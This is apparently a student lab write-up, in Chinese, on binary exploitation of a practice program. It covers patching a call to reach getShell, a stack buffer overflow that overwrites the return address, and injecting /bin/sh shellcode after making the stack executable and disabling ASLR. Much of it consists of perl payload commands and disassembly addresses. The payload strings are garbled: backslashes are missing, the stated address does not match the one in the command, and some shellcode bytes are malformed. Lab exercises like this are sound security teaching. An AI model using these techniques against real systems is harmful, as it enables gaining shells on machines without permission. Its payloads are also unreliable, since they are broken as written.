实验内容
- 直接修改程序,跳转到getShell函数。
- 使用BOF攻击,覆盖返回地址,触发getShell函数。
- 注入一个自己的shellcode并运行。
任务一:直接修改程序,跳转到getShell函数。
1.首先使用chmod +x pwn1变成可执行文件,提高权限
2.使用objdump -d pwn1,反汇编pwn1文件
在80484b5: e8 d7 ff ff ff call 8048491
如果想让函数调用getShell,需要修改d7 ff ff ff。根据foo函数与getShell地址的偏移量,计算地址:
- 0x08048491 - 0x0804847d = 0x00000014 //计算地址差
- 0xffffffd7 - 0x00000014 = 0xffffffc3 //计算要篡改的目标地址
使用vi指令编辑,进去之后显示乱码,然后使用:%!xxd
命令转换为16进制找到d7
按i将d7改为c3
再使用:%!xxd -r
换回乱码。保存之后退出
再次使用objdump -d pwn1,查看被修改后的文件
执行程序pwn1
任务一完成
任务二:使用BOF攻击,覆盖返回地址,触发getShell函数。
使用gdb进行调试程序,运行程序,输入一大串字符abcdefghijklmnopqrstuvwxyz1234567890
得到结果
得到一个错误的返回地址0x30393837
因为是小端机器,所以说明是后面四位发生了溢出,覆盖了返回地址,那么我们如果想要让他跳转到其他地方就需要修改后四位地址,
那我们只需要把最后四位写为xd7x84x04x08(即shellcode的起始地址0x080484d7)就完成了
使用:perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input
管道命令
就攻击成功了
任务三:注入一个自己的shellcode并运行。
注入shellcode的意思是shellcode在输入的时候被放入堆栈,在堆栈里面就有机会把返回地址指向shellcode,实现攻击。
首先要设置堆栈可执行
execstack -s 20165337pwn2 //设置堆栈可执行
execstack -q 20165337pwn2 //查询文件的堆栈是否可执行
若不能成功则使用apt-get install execstack
进行更新
然后查询一下是否可执行若为X 20165337pwn2
则为可执行
然后我们还需要关闭地址随机化
使用echo "0" > /proc/sys/kernel/randomize_va_space
关闭,否则每次执行esp的值都会发生变化
整个过程中我们需要注入一段代码,然后构造一个构造一个input_shellcode
perl -e 'print "A" x 32;print "x4x3x2x1x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
一个窗口运行(cat input_shellcode;cat) | ./20165337pwn2
另一个窗口运行ps -ef | grep pwn
可以查看到当前进程号
然后在gdb里面输入attach 进程号
(gdb) disassemble foo
反编译查看地址
得到0xffffd30c
计算d30c+0004为d310
然后修改input_shellcode
最终攻击成功